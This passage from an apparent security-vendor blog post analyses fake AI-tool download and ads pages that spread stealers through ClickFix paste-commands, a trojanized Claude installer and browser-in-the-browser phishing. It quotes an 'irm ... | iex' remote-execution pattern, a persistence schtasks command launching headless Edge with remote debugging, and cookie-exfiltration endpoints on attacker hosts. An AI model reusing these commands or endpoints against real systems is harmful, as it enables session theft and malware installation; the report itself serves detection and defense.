sandbox session with the full chain<\/a><\/p>\n\n\n\n<p class=\"wp-block-paragraph\">We counted 341 analyses across six brands, peaking in May and June 2026. The lure domains rotated, but the shape of the command did not: irm &lt;domain&gt;\/install\u2026 | iex started from a browser session, pointing at a domain that is not the vendor&#8217;s.<\/p>\n\n\n\n<!-- Regular Banner START -->\n<div class=\"regular-banner\">\n<!-- Text Content -->\n<p class=\"regular-banner__text\">\n<span class=\"highlight\">Keep Fake AI Incidents from Escalating.<\/span>\n<br>\nHelp teams investigate faster and act with confidence.\n<\/p>\n<!-- CTA Link -->\n<a class=\"regular-banner__link\" id=\"article-banner-regular\" href=\"https:\/\/any.run\/enterprise\/?utm_source=anyrunblog&amp;utm_medium=article&amp;utm_campaign=fake-ai-tools-us-companies&amp;utm_term=141026&amp;utm_content=linktoenterprise#contact-sales\" rel=\"noopener\" target=\"_blank\">\nReduce Business Impact<\/a>\n<\/div>\n<!-- Regular Banner END -->\n<!-- Regular Banner Styles START -->\n\n<style>\n.regular-banner {\ndisplay: flex;\ntext-align: center;\nflex-direction: column;\nalign-items: center;\ngap: 1.5rem;\nwidth: 100%;\npadding: 2rem;\nmargin: 1.5rem 0;\nborder-radius: 0.5rem;\nfont-family: 'Catamaran Bold';\nmargin-inline: auto;\nbackground: rgba(32, 168, 241, 0.1);\nborder: 1px solid rgba(75, 174, 227, 0.32);\n}\n\n.regular-banner__text {\nfont-size: 1.5rem;\nmargin: 0;\n}\n\n.highlight {\ncolor: #ea2526;\n}\n\n.regular-banner__link {\npadding: 0.5rem 1.5rem;\nfont-weight: 500;\ntext-decoration: none;\nborder-radius: 0.5rem;\ncolor: #FFFFFF;\nbackground-color: #1491D4;\ntext-align: center;\ntransition: all 0.2s ease-in;\n}\n\n.regular-banner__link:hover {\nbackground-color: #68CBFF;\ncolor: white;\n}\n<\/style>\n<!-- Regular Banner Styles END -->\n\n\n\n<h3 class=\"wp-block-heading\">The Download Page That Asks for PowerShell: Fake &#8220;Download Claude&#8221; with ClickFix<\/h3>\n\n\n\n<p class=\"wp-block-paragraph\">This campaign clones the Claude download page and has been active since April 2026. We found its landing pages on a Webflow site (cladesktop-apps[.]com), on GitLab Pages, on Cloudflare Pages, and on playcode.io, with variants for DeepSeek and NotebookLM. In 37 of its 220 analyses, the session started with a click on a Google ad. <\/p>\n\n\n\n<p class=\"wp-block-paragraph\">When the visitor clicks &#8220;Download for Windows&#8221;, the page copies a command to the clipboard and shows step-by-step instructions: press Win+R, open PowerShell, paste, and press Enter. <\/p>\n\n\n\n<p class=\"wp-block-paragraph\"><a href=\"https:\/\/app.any.run\/tasks\/41e9b2af-1d2c-41e1-8543-6d9e3b948138?utm_source=anyrunblog&amp;utm_medium=article&amp;utm_campaign=fake-ai-tools-us-companies&amp;utm_term=141026&amp;utm_content=linktoservice\" target=\"_blank\" rel=\"noreferrer noopener\">View sandbox session with the fake download page<\/a><\/p>\n\n\n<div class=\"wp-block-image\">\n<figure class=\"aligncenter size-large\"><img loading=\"lazy\" decoding=\"async\" width=\"1024\" height=\"578\" src=\"https:\/\/any.run\/cybersecurity-blog\/wp-content\/uploads\/2026\/10\/Installer-command-fake-ai-1024x578.jpeg\" alt=\"The &quot;installer&quot; is a command the victim pastes into PowerShell \" class=\"wp-image-23683\" srcset=\"https:\/\/any.run\/cybersecurity-blog\/wp-content\/uploads\/2026\/10\/Installer-command-fake-ai-1024x578.jpeg 1024w, https:\/\/any.run\/cybersecurity-blog\/wp-content\/uploads\/2026\/10\/Installer-command-fake-ai-300x169.jpeg 300w, https:\/\/any.run\/cybersecurity-blog\/wp-content\/uploads\/2026\/10\/Installer-command-fake-ai-768x434.jpeg 768w, https:\/\/any.run\/cybersecurity-blog\/wp-content\/uploads\/2026\/10\/Installer-command-fake-ai-370x209.jpeg 370w, https:\/\/any.run\/cybersecurity-blog\/wp-content\/uploads\/2026\/10\/Installer-command-fake-ai-270x152.jpeg 270w, https:\/\/any.run\/cybersecurity-blog\/wp-content\/uploads\/2026\/10\/Installer-command-fake-ai-740x418.jpeg 740w, https:\/\/any.run\/cybersecurity-blog\/wp-content\/uploads\/2026\/10\/Installer-command-fake-ai.jpeg 1360w\" sizes=\"auto, (max-width: 1024px) 100vw, 1024px\" \/><figcaption class=\"wp-element-caption\"><em>The &#8220;installer&#8221; is a command the victim pastes into PowerShell<\/em> <\/figcaption><\/figure>\n<\/div>\n\n\n<p class=\"wp-block-paragraph\">mshta.exe fetches an HTA from the attacker&#8217;s server. The HTA assembles the word &#8220;powershell&#8221; from pieces to slip past simple string matching, then runs an encoded PowerShell stage. In the sessions where the chain ran to the end, the sandbox flagged stealer activity. No file reaches the browser&#8217;s download folder, and every process in the chain is a built-in Windows binary. Other landing pages of the same campaign show the same flow: <\/p>\n\n\n\n<ul class=\"wp-block-list\">\n<li>GitLab Pages copy opened from a Google ad: <a href=\"https:\/\/app.any.run\/tasks\/f9aae3ba-907f-442b-824e-59b00ef58e8c?utm_source=anyrunblog&amp;utm_medium=article&amp;utm_campaign=fake-ai-tools-us-companies&amp;utm_term=141026&amp;utm_content=linktoservice\" target=\"_blank\" rel=\"noreferrer noopener\">View sandbox session with the GitLab Pages copy<\/a><\/li>\n\n\n\n<li>NotebookLM-branded variant: <a href=\"https:\/\/app.any.run\/tasks\/4729dc13-833a-4ae3-9c62-ac1f2d204bec?utm_source=anyrunblog&amp;utm_medium=article&amp;utm_campaign=fake-ai-tools-us-companies&amp;utm_term=141026&amp;utm_content=linktoservice\" target=\"_blank\" rel=\"noreferrer noopener\">View sandbox session with the NotebookLM variant<\/a><\/li>\n<\/ul>\n\n\n\n<p class=\"wp-block-paragraph\">The landing hosts changed many times, but the HTA host last-version.install-2026[.]com stayed the same from April to September. A related page on claudedev[.]net uses a fake Cloudflare check instead. Its PowerShell stage leads to a loader chain likely belonging to HijackLoader: sandbox sessions that share its download host trigger HijackLoader command-and-control detections. <\/p>\n\n\n\n<p class=\"wp-block-paragraph\"><a href=\"https:\/\/app.any.run\/tasks\/da837600-4fff-4674-9d52-1e56b98241e9?utm_source=anyrunblog&amp;utm_medium=article&amp;utm_campaign=fake-ai-tools-us-companies&amp;utm_term=141026&amp;utm_content=linktoservice\" target=\"_blank\" rel=\"noreferrer noopener\">View sandbox session with the fake Cloudflare check<\/a><\/p>\n\n\n<div class=\"wp-block-image\">\n<figure class=\"aligncenter size-large\"><img loading=\"lazy\" decoding=\"async\" width=\"1024\" height=\"560\" src=\"https:\/\/any.run\/cybersecurity-blog\/wp-content\/uploads\/2026\/10\/fake-claudeflare-check-1024x560.png\" alt=\"Fake CloudFlare check analyzed inside ANY.RUN sandbox\" class=\"wp-image-23684\" srcset=\"https:\/\/any.run\/cybersecurity-blog\/wp-content\/uploads\/2026\/10\/fake-claudeflare-check-1024x560.png 1024w, https:\/\/any.run\/cybersecurity-blog\/wp-content\/uploads\/2026\/10\/fake-claudeflare-check-300x164.png 300w, https:\/\/any.run\/cybersecurity-blog\/wp-content\/uploads\/2026\/10\/fake-claudeflare-check-768x420.png 768w, https:\/\/any.run\/cybersecurity-blog\/wp-content\/uploads\/2026\/10\/fake-claudeflare-check-1536x840.png 1536w, https:\/\/any.run\/cybersecurity-blog\/wp-content\/uploads\/2026\/10\/fake-claudeflare-check-2048x1120.png 2048w, https:\/\/any.run\/cybersecurity-blog\/wp-content\/uploads\/2026\/10\/fake-claudeflare-check-370x202.png 370w, https:\/\/any.run\/cybersecurity-blog\/wp-content\/uploads\/2026\/10\/fake-claudeflare-check-270x148.png 270w, https:\/\/any.run\/cybersecurity-blog\/wp-content\/uploads\/2026\/10\/fake-claudeflare-check-740x405.png 740w\" sizes=\"auto, (max-width: 1024px) 100vw, 1024px\" \/><figcaption class=\"wp-element-caption\"><em>Fake CloudFlare check analyzed inside ANY.RUN sandbox<\/em><\/figcaption><\/figure>\n<\/div>\n\n\n<h3 class=\"wp-block-heading\">When the Lure Lives on claude.ai or chatgpt.com<\/h3>\n\n\n\n<p class=\"wp-block-paragraph\">Some operators skip lookalike domains altogether and publish the lure on the AI platform itself. A shared conversation, a custom GPT, or a published artifact lives on the vendor&#8217;s domain, which no company blocks.<\/p>\n\n\n\n<p class=\"wp-block-paragraph\">One session opened a published claude.ai artifact from a Google ad; the URL carries Google Ads click parameters. The artifact poses as &#8220;Download Claude | Claude by Anthropic&#8221;, while the platform&#8217;s own banner marks it as user-generated. Its &#8220;Install on macOS&#8221; instructions tell the visitor to paste a curl command into Terminal. <\/p>\n\n\n\n<p class=\"wp-block-paragraph\"><a href=\"https:\/\/app.any.run\/tasks\/56668d4e-a680-42c5-81ec-682899ba7665?utm_source=anyrunblog&amp;utm_medium=article&amp;utm_campaign=fake-ai-tools-us-companies&amp;utm_term=141026&amp;utm_content=linktoservice\" target=\"_blank\" rel=\"noreferrer noopener\">View sandbox session with the claude.ai artifact<\/a><\/p>\n\n\n<div class=\"wp-block-image\">\n<figure class=\"aligncenter size-large\"><img loading=\"lazy\" decoding=\"async\" width=\"1024\" height=\"578\" src=\"https:\/\/any.run\/cybersecurity-blog\/wp-content\/uploads\/2026\/10\/artifact-sits-on-claude.ai_-1024x578.jpeg\" alt=\"The artifact sits on claude.ai, under a banner that says the content is user-generated and unverified\" class=\"wp-image-23686\" srcset=\"https:\/\/any.run\/cybersecurity-blog\/wp-content\/uploads\/2026\/10\/artifact-sits-on-claude.ai_-1024x578.jpeg 1024w, https:\/\/any.run\/cybersecurity-blog\/wp-content\/uploads\/2026\/10\/artifact-sits-on-claude.ai_-300x169.jpeg 300w, https:\/\/any.run\/cybersecurity-blog\/wp-content\/uploads\/2026\/10\/artifact-sits-on-claude.ai_-768x434.jpeg 768w, https:\/\/any.run\/cybersecurity-blog\/wp-content\/uploads\/2026\/10\/artifact-sits-on-claude.ai_-370x209.jpeg 370w, https:\/\/any.run\/cybersecurity-blog\/wp-content\/uploads\/2026\/10\/artifact-sits-on-claude.ai_-270x152.jpeg 270w, https:\/\/any.run\/cybersecurity-blog\/wp-content\/uploads\/2026\/10\/artifact-sits-on-claude.ai_-740x418.jpeg 740w, https:\/\/any.run\/cybersecurity-blog\/wp-content\/uploads\/2026\/10\/artifact-sits-on-claude.ai_.jpeg 1360w\" sizes=\"auto, (max-width: 1024px) 100vw, 1024px\" \/><figcaption class=\"wp-element-caption\"><em>The artifact sits on claude.ai, under a banner that says the content is user-generated and unverified<\/em><\/figcaption><\/figure>\n<\/div>\n\n\n<p class=\"wp-block-paragraph\">The base64 string decodes to a \/curl\/&lt;hex&gt; URL on paripassuventures[.]com. Sessions that requested that host between August 24 and September 3, 2026, received a payload detected as MacSync Stealer, in 8 of the 12 analyses. Shared Claude and Perplexity conversations promoted the same way lead to the same \/curl\/&lt;64 hex characters&gt; path on other compromised sites. <\/p>\n\n\n\n<p class=\"wp-block-paragraph\"><a href=\"https:\/\/app.any.run\/tasks\/62edf8b9-500c-4e74-897e-557024f69c24?utm_source=anyrunblog&amp;utm_medium=article&amp;utm_campaign=fake-ai-tools-us-companies&amp;utm_term=141026&amp;utm_content=linktoservice\" target=\"_blank\" rel=\"noreferrer noopener\">View sandbox session with the shared Claude conversation<\/a><\/p>\n\n\n\n<p class=\"wp-block-paragraph\">The most recent ChatGPT-themed chains, from September 2026, start from shared chats and custom GPTs. In one session, a Google ad led to a shared chat on chatgpt.com with a single message: &#8220;We are experiencing high traffic now. Continue on our backup domain,&#8221; followed by a link to openai-backup[.]one. ChatGPT warned that the link led to an external site, but the domain name made the detour look like part of the service. <\/p>\n\n\n\n<p class=\"wp-block-paragraph\"><a href=\"https:\/\/app.any.run\/tasks\/eb95ed78-6248-4c80-a247-9979bca8780c?utm_source=anyrunblog&amp;utm_medium=article&amp;utm_campaign=fake-ai-tools-us-companies&amp;utm_term=141026&amp;utm_content=linktoservice\" target=\"_blank\" rel=\"noreferrer noopener\">View sandbox session with the shared ChatGPT chat<\/a><\/p>\n\n\n<div class=\"wp-block-image\">\n<figure class=\"aligncenter size-large\"><img loading=\"lazy\" decoding=\"async\" width=\"1024\" height=\"578\" src=\"https:\/\/any.run\/cybersecurity-blog\/wp-content\/uploads\/2026\/10\/shared-chat-on-chatgpt.com_-1024x578.jpeg\" alt=\"The lure is a shared chat on chatgpt.com that points to a &quot;backup domain&quot; \" class=\"wp-image-23687\" srcset=\"https:\/\/any.run\/cybersecurity-blog\/wp-content\/uploads\/2026\/10\/shared-chat-on-chatgpt.com_-1024x578.jpeg 1024w, https:\/\/any.run\/cybersecurity-blog\/wp-content\/uploads\/2026\/10\/shared-chat-on-chatgpt.com_-300x169.jpeg 300w, https:\/\/any.run\/cybersecurity-blog\/wp-content\/uploads\/2026\/10\/shared-chat-on-chatgpt.com_-768x434.jpeg 768w, https:\/\/any.run\/cybersecurity-blog\/wp-content\/uploads\/2026\/10\/shared-chat-on-chatgpt.com_-370x209.jpeg 370w, https:\/\/any.run\/cybersecurity-blog\/wp-content\/uploads\/2026\/10\/shared-chat-on-chatgpt.com_-270x152.jpeg 270w, https:\/\/any.run\/cybersecurity-blog\/wp-content\/uploads\/2026\/10\/shared-chat-on-chatgpt.com_-740x418.jpeg 740w, https:\/\/any.run\/cybersecurity-blog\/wp-content\/uploads\/2026\/10\/shared-chat-on-chatgpt.com_.jpeg 1360w\" sizes=\"auto, (max-width: 1024px) 100vw, 1024px\" \/><figcaption class=\"wp-element-caption\"><em>The lure is a shared chat on chatgpt.com that points to a &#8220;backup domain&#8221;<\/em> <\/figcaption><\/figure>\n<\/div>\n\n\n<p class=\"wp-block-paragraph\">The &#8220;backup domain&#8221; shows a fake Cloudflare check and then a &#8220;Human Verification&#8221; box with three steps: Win+R, Ctrl+V, Enter. Its \/api.php requests carry an operator key, and the same key appears in a chain that starts from a custom GPT and passes through a Google Sites page. In a session from that chain, pasting the command silently installed an MSI package: <\/p>\n\n\n\n<p class=\"wp-block-paragraph\"><a href=\"https:\/\/app.any.run\/tasks\/cb647046-f2fa-4d45-9153-15c825eb2916?utm_source=anyrunblog&amp;utm_medium=article&amp;utm_campaign=fake-ai-tools-us-companies&amp;utm_term=141026&amp;utm_content=linktoservice\" target=\"_blank\" rel=\"noreferrer noopener\">View sandbox session with the custom GPT chain<\/a><\/p>\n\n\n\n<p class=\"wp-block-paragraph\">We counted 320 analyses in chains that start on a shared AI chat or artifact or touch their infrastructure, 17 of them straight from an ad click. The durable markers are the \/curl\/&lt;64 hex characters&gt; download path, the sites.google.com\/view\/antibot&lt;digits&gt; pages, the operator key in \/api.php?k= requests, and curl one-liners that decode their own URL from base64. <\/p>\n\n\n\n<h3 class=\"wp-block-heading\">A Real Claude Installer and a Stolen Session<\/h3>\n\n\n\n<p class=\"wp-block-paragraph\">This pattern does not ask for a command. The lure site claude-ai[.]us serves a saved copy of the Claude download page, and its button downloads Claude_x64-setup.exe from a GitHub release. In the sandbox session, a window titled &#8220;ClaudeCode&#8221; asked for a click on &#8220;Setup&#8221;. After the click, the genuine Claude installer, downloaded from Anthropic&#8217;s own servers, ran in the foreground. <\/p>\n\n\n<div class=\"wp-block-image\">\n<figure class=\"aligncenter size-large\"><img loading=\"lazy\" decoding=\"async\" width=\"1024\" height=\"578\" src=\"https:\/\/any.run\/cybersecurity-blog\/wp-content\/uploads\/2026\/10\/window-comes-from-the-stager-1024x578.jpeg\" alt=\"This window comes from the stager, not from Anthropic; the real installer follows as a decoy \" class=\"wp-image-23692\" srcset=\"https:\/\/any.run\/cybersecurity-blog\/wp-content\/uploads\/2026\/10\/window-comes-from-the-stager-1024x578.jpeg 1024w, https:\/\/any.run\/cybersecurity-blog\/wp-content\/uploads\/2026\/10\/window-comes-from-the-stager-300x169.jpeg 300w, https:\/\/any.run\/cybersecurity-blog\/wp-content\/uploads\/2026\/10\/window-comes-from-the-stager-768x434.jpeg 768w, https:\/\/any.run\/cybersecurity-blog\/wp-content\/uploads\/2026\/10\/window-comes-from-the-stager-370x209.jpeg 370w, https:\/\/any.run\/cybersecurity-blog\/wp-content\/uploads\/2026\/10\/window-comes-from-the-stager-270x152.jpeg 270w, https:\/\/any.run\/cybersecurity-blog\/wp-content\/uploads\/2026\/10\/window-comes-from-the-stager-740x418.jpeg 740w, https:\/\/any.run\/cybersecurity-blog\/wp-content\/uploads\/2026\/10\/window-comes-from-the-stager.jpeg 1360w\" sizes=\"auto, (max-width: 1024px) 100vw, 1024px\" \/><figcaption class=\"wp-element-caption\"><em>This window comes from the stager, not from Anthropic; the real installer follows as a decoy<\/em> <\/figcaption><\/figure>\n<\/div>\n\n\n<p class=\"wp-block-paragraph\">Behind the decoy, the stager registers a scheduled task that starts Microsoft Edge without a window, with remote debugging on and a fake updater user agent: <\/p>\n\n\n\n<p class=\"wp-block-paragraph\">schtasks.exe \/create \/tn &#8220;mseupdate&#8221; \/tr &#8220;\\&#8221;C:\\Program Files (x86)\\Microsoft\\Edge\\Application\\msedge.exe\\&#8221; &#8211;remote-debugging-port=9222 &#8211;headless &#8211;user-agent=\\&#8221;Google Update 4.3\\&#8221; &#8211;disable-gpu &#8211;no-sandbox https:\/\/microsoft.com\/&#8221; \/sc onlogon \/rl highest <\/p>\n\n\n\n<p class=\"wp-block-paragraph\">The headless browser then posts data to nucleflowers[.]xyz: cookies (\/api2.php?method=sendcookjson), extension data (sendexts), and a third set labeled sendkeys. With those cookies, the attacker can open the victim&#8217;s web sessions without a password or MFA prompt. <\/p>\n\n\n\n<p class=\"wp-block-paragraph\"><a href=\"https:\/\/app.any.run\/tasks\/7cea2a41-1db8-40e5-bf95-d2dfb20179d0?utm_source=anyrunblog&amp;utm_medium=article&amp;utm_campaign=fake-ai-tools-us-companies&amp;utm_term=141026&amp;utm_content=linktoservice\" target=\"_blank\" rel=\"noreferrer noopener\">View sandbox session with the trojanized installer<\/a><\/p>\n\n\n<div class=\"wp-block-image\">\n<figure class=\"aligncenter size-large\"><img loading=\"lazy\" decoding=\"async\" width=\"1024\" height=\"558\" src=\"https:\/\/any.run\/cybersecurity-blog\/wp-content\/uploads\/2026\/10\/sandbox-with-trojanized-installer-1024x558.png\" alt=\"\" class=\"wp-image-23718\" srcset=\"https:\/\/any.run\/cybersecurity-blog\/wp-content\/uploads\/2026\/10\/sandbox-with-trojanized-installer-1024x558.png 1024w, https:\/\/any.run\/cybersecurity-blog\/wp-content\/uploads\/2026\/10\/sandbox-with-trojanized-installer-300x164.png 300w, https:\/\/any.run\/cybersecurity-blog\/wp-content\/uploads\/2026\/10\/sandbox-with-trojanized-installer-768x419.png 768w, https:\/\/any.run\/cybersecurity-blog\/wp-content\/uploads\/2026\/10\/sandbox-with-trojanized-installer-1536x838.png 1536w, https:\/\/any.run\/cybersecurity-blog\/wp-content\/uploads\/2026\/10\/sandbox-with-trojanized-installer-2048x1117.png 2048w, https:\/\/any.run\/cybersecurity-blog\/wp-content\/uploads\/2026\/10\/sandbox-with-trojanized-installer-370x202.png 370w, https:\/\/any.run\/cybersecurity-blog\/wp-content\/uploads\/2026\/10\/sandbox-with-trojanized-installer-270x147.png 270w, https:\/\/any.run\/cybersecurity-blog\/wp-content\/uploads\/2026\/10\/sandbox-with-trojanized-installer-740x404.png 740w\" sizes=\"auto, (max-width: 1024px) 100vw, 1024px\" \/><figcaption class=\"wp-element-caption\"><em>ANY.RUN&#8217;s sandbox session with trojanized installer<\/em><\/figcaption><\/figure>\n<\/div>\n\n\n<p class=\"wp-block-paragraph\">The lure site left its directory listing open, which exposed the kit&#8217;s file names: claude_win.html, claude_mac.html, and stats-claude-collector.php, the endpoint that records each visit. At the moment of the download click, the page also registers the visitor with the stager&#8217;s server through \/api4.php?method=auth&amp;key=&lt;key&gt;&amp;ist=claude. The same registration call, with its own key and brand label, appears behind other &#8220;AI&#8221; apps, such as a fake AI budgeting tool on budgetforge[.]ai that served its installer from a different GitHub account in April 2026. <\/p>\n\n\n\n<p class=\"wp-block-paragraph\"><a href=\"https:\/\/app.any.run\/tasks\/3d2ff0b2-940d-45cd-af6b-b06c58a4ab60?utm_source=anyrunblog&amp;utm_medium=article&amp;utm_campaign=fake-ai-tools-us-companies&amp;utm_term=141026&amp;utm_content=linktoservice\" target=\"_blank\" rel=\"noreferrer noopener\">View sandbox session with the budgeting-tool lure<\/a><\/p>\n\n\n\n<p class=\"wp-block-paragraph\">The kit&#8217;s paths (\/stats-claude-collector.php, \/api4.php?method=auth, \/api2.php with sendcookjson) and the mseupdate task with the &#8220;Google Update 4.3&#8221; user agent outlived the domain. That makes them better hunting keys than claude-ai[.]us itself. <\/p>\n\n\n\n<!-- Regular Banner START -->\n<div class=\"regular-banner\">\n<!-- Text Content -->\n<p class=\"regular-banner__text\">\n<span class=\"highlight\">Cut 21 Minutes from MTTR per Incident. \n<\/span>\n<br>\nUse behavioral evidence to move to response faster.\n<\/p>\n<!-- CTA Link -->\n<a class=\"regular-banner__link\" id=\"article-banner-regular\" href=\"https:\/\/any.run\/enterprise\/?utm_source=anyrunblog&amp;utm_medium=article&amp;utm_campaign=fake-ai-tools-us-companies&amp;utm_term=141026&amp;utm_content=linktoenterprise#contact-sales\" rel=\"noopener\" target=\"_blank\">\nSpeed Up Threat Response<\/a>\n<\/div>\n<!-- Regular Banner END -->\n<!-- Regular Banner Styles START -->\n\n<style>\n.regular-banner {\ndisplay: flex;\ntext-align: center;\nflex-direction: column;\nalign-items: center;\ngap: 1.5rem;\nwidth: 100%;\npadding: 2rem;\nmargin: 1.5rem 0;\nborder-radius: 0.5rem;\nfont-family: 'Catamaran Bold';\nmargin-inline: auto;\nbackground: rgba(32, 168, 241, 0.1);\nborder: 1px solid rgba(75, 174, 227, 0.32);\n}\n\n.regular-banner__text {\nfont-size: 1.5rem;\nmargin: 0;\n}\n\n.highlight {\ncolor: #ea2526;\n}\n\n.regular-banner__link {\npadding: 0.5rem 1.5rem;\nfont-weight: 500;\ntext-decoration: none;\nborder-radius: 0.5rem;\ncolor: #FFFFFF;\nbackground-color: #1491D4;\ntext-align: center;\ntransition: all 0.2s ease-in;\n}\n\n.regular-banner__link:hover {\nbackground-color: #68CBFF;\ncolor: white;\n}\n<\/style>\n<!-- Regular Banner Styles END -->\n\n\n\n<h3 class=\"wp-block-heading\">&#8220;Run Ads on Claude&#8221;: Fake AI Ads Invitations Target Marketing Teams<\/h3>\n\n\n\n<p class=\"wp-block-paragraph\">The fifth pattern targets marketers, not developers. Landing pages invite the visitor to &#8220;Run ads on Claude&#8221;, to &#8220;Connect your Google Ads account with Gemini&#8221;, or to join Perplexity Ads or a Manus beta. The pages carry mailto:unsubscribe@ links, which suggests delivery by email. Clicking &#8220;Connect&#8221; opens a browser-in-the-browser (BiTB) pop-up: a fake window, drawn inside the page, that imitates the Google sign-in screen and its address bar.<\/p>\n\n\n<div class=\"wp-block-image\">\n<figure class=\"aligncenter size-large\"><img loading=\"lazy\" decoding=\"async\" width=\"1024\" height=\"578\" src=\"https:\/\/any.run\/cybersecurity-blog\/wp-content\/uploads\/2026\/10\/fake-ai-ads-1024x578.jpeg\" alt=\"fake ai ads\" class=\"wp-image-23693\" srcset=\"https:\/\/any.run\/cybersecurity-blog\/wp-content\/uploads\/2026\/10\/fake-ai-ads-1024x578.jpeg 1024w, https:\/\/any.run\/cybersecurity-blog\/wp-content\/uploads\/2026\/10\/fake-ai-ads-300x169.jpeg 300w, https:\/\/any.run\/cybersecurity-blog\/wp-content\/uploads\/2026\/10\/fake-ai-ads-768x434.jpeg 768w, https:\/\/any.run\/cybersecurity-blog\/wp-content\/uploads\/2026\/10\/fake-ai-ads-370x209.jpeg 370w, https:\/\/any.run\/cybersecurity-blog\/wp-content\/uploads\/2026\/10\/fake-ai-ads-270x152.jpeg 270w, https:\/\/any.run\/cybersecurity-blog\/wp-content\/uploads\/2026\/10\/fake-ai-ads-740x418.jpeg 740w, https:\/\/any.run\/cybersecurity-blog\/wp-content\/uploads\/2026\/10\/fake-ai-ads.jpeg 1360w\" sizes=\"auto, (max-width: 1024px) 100vw, 1024px\" \/><figcaption class=\"wp-element-caption\"><em>The Google sign-in window, address bar included, is drawn inside the fake Claude Ads page<\/em> <\/figcaption><\/figure>\n<\/div>\n\n\n<ul class=\"wp-block-list\">\n<li><a href=\"https:\/\/app.any.run\/tasks\/c1bb66d8-a08d-4f50-8bf5-bcc6132fc3d6?utm_source=anyrunblog&amp;utm_medium=article&amp;utm_campaign=fake-ai-tools-us-companies&amp;utm_term=141026&amp;utm_content=linktoservice\" target=\"_blank\" rel=\"noreferrer noopener\">View sandbox session with the Claude Ads lure<\/a><\/li>\n\n\n\n<li><a href=\"https:\/\/app.any.run\/tasks\/18bd2bb3-b856-4f15-949a-6e8a824c7718?utm_source=anyrunblog&amp;utm_medium=article&amp;utm_campaign=fake-ai-tools-us-companies&amp;utm_term=141026&amp;utm_content=linktoservice\" target=\"_blank\" rel=\"noreferrer noopener\">View sandbox session with the Gemini Ads lure<\/a><\/li>\n\n\n\n<li><a href=\"https:\/\/app.any.run\/tasks\/f6bd0278-4f57-4cb8-97ca-ec61357c2cc0?utm_source=anyrunblog&amp;utm_medium=article&amp;utm_campaign=fake-ai-tools-us-companies&amp;utm_term=141026&amp;utm_content=linktoservice\" target=\"_blank\" rel=\"noreferrer noopener\">View sandbox session with the Manus lure<\/a><\/li>\n<\/ul>\n\n\n\n<p class=\"wp-block-paragraph\">Before showing the pop-up, the page geolocates the visitor through public IP services. It then registers the visit with a backend on Railway or Render and keeps a live socket.io channel open to the operator. The backend paths are the same for every brand: <\/p>\n\n\n\n<div class=\"wpdt-c row wpDataTableContainerSimpleTable wpDataTables wpDataTablesWrapper\n\"\n    >\n        <table id=\"wpdtSimpleTable-414\"\n           style=\"border-collapse:collapse;\n                   border-spacing:0px;\"\n           class=\"wpdtSimpleTable wpDataTable\"\n           data-column=\"2\"\n           data-rows=\"5\"\n           data-wpID=\"414\"\n           data-responsive=\"0\"\n           data-has-header=\"1\">\n\n                    <thead>        <tr class=\"wpdt-cell-row \" >\n                                <th class=\"wpdt-cell \"\n                                            data-cell-id=\"A1\"\n                    data-col-index=\"0\"\n                    data-row-index=\"0\"\n                    style=\" width:50%;                    padding:10px;\n                    \"\n                    >\n                                        Request\u00a0                    <\/th>\n                                                <th class=\"wpdt-cell \"\n                                            data-cell-id=\"B1\"\n                    data-col-index=\"1\"\n                    data-row-index=\"0\"\n                    style=\" width:50%;                    padding:10px;\n                    \"\n                    >\n                                        Purpose (inferred from the name and payload)\u00a0                    <\/th>\n                                        <\/tr>\n                    <tbody>        <tr class=\"wpdt-cell-row \" >\n                                <td class=\"wpdt-cell \"\n                                            data-cell-id=\"A2\"\n                    data-col-index=\"0\"\n                    data-row-index=\"1\"\n                    style=\"                    padding:10px;\n                    \"\n                    >\n                                        POST \/api\/create\/user\u00a0                    <\/td>\n                                                <td class=\"wpdt-cell \"\n                                            data-cell-id=\"B2\"\n                    data-col-index=\"1\"\n                    data-row-index=\"1\"\n                    style=\"                    padding:10px;\n                    \"\n                    >\n                                        Registers the visitor\u00a0                    <\/td>\n                                        <\/tr>\n                            <tr class=\"wpdt-cell-row \" >\n                                <td class=\"wpdt-cell \"\n                                            data-cell-id=\"A3\"\n                    data-col-index=\"0\"\n                    data-row-index=\"2\"\n                    style=\"                    padding:10px;\n                    \"\n                    >\n                                        POST \/api\/send\/ip\u00a0                    <\/td>\n                                                <td class=\"wpdt-cell \"\n                                            data-cell-id=\"B3\"\n                    data-col-index=\"1\"\n                    data-row-index=\"2\"\n                    style=\"                    padding:10px;\n                    \"\n                    >\n                                        Sends the visitor's IP, device type, and ISP\u00a0                    <\/td>\n                                        <\/tr>\n                            <tr class=\"wpdt-cell-row \" >\n                                <td class=\"wpdt-cell \"\n                                            data-cell-id=\"A4\"\n                    data-col-index=\"0\"\n                    data-row-index=\"3\"\n                    style=\"                    padding:10px;\n                    \"\n                    >\n                                        GET \/api\/checkBan\/<ip>\u00a0                    <\/td>\n                                                <td class=\"wpdt-cell \"\n                                            data-cell-id=\"B4\"\n                    data-col-index=\"1\"\n                    data-row-index=\"3\"\n                    style=\"                    padding:10px;\n                    \"\n                    >\n                                        Likely checks whether the visitor is blocked\u00a0                    <\/td>\n                                        <\/tr>\n                            <tr class=\"wpdt-cell-row \" >\n                                <td class=\"wpdt-cell \"\n                                            data-cell-id=\"A5\"\n                    data-col-index=\"0\"\n                    data-row-index=\"4\"\n                    style=\"                    padding:10px;\n                    \"\n                    >\n                                        GET \/api\/checkDone\/<ip>\u00a0                    <\/td>\n                                                <td class=\"wpdt-cell \"\n                                            data-cell-id=\"B5\"\n                    data-col-index=\"1\"\n                    data-row-index=\"4\"\n                    style=\"                    padding:10px;\n                    \"\n                    >\n                                        Likely polls\u00a0whether the operator has finished with the session\u00a0                    <\/td>\n                                        <\/tr>\n                    <\/table>\n<\/div><style id='wpdt-custom-style-414'>\ntable#wpdtSimpleTable-414{ table-layout: fixed !important; }\ntable#wpdtSimpleTable-414 td, table.wpdtSimpleTable414 th { white-space: normal !important; }\n<\/style>\n\n\n\n\n<p class=\"wp-block-paragraph\">We counted 57 analyses across four brands between July 21 and September 18, 2026. The domains change with each brand (claude-advertisement[.]com, gemini-beta-invitations[.]com, perplexity-beta-ads[.]com, beta-manus[.]com), while the API paths stay the same, so they are the hunting key. <\/p>\n\n\n\n<h3 class=\"wp-block-heading\">Also Seen: Malware Named After AI Products<\/h3>\n\n\n\n<p class=\"wp-block-paragraph\">We also counted 220 analyses of suspicious or malicious files named after AI products: &#8220;Claude Setup.exe&#8221;, &#8220;ChatGPT Installer.exe&#8221;, &#8220;Codex Installer.exe&#8221;, &#8220;GeminiSetup.exe&#8221;, &#8220;copilot_lite.exe&#8221;, and &#8220;Sora2.apk&#8221;. Examples: <\/p>\n\n\n\n<ul class=\"wp-block-list\">\n<li>a fake 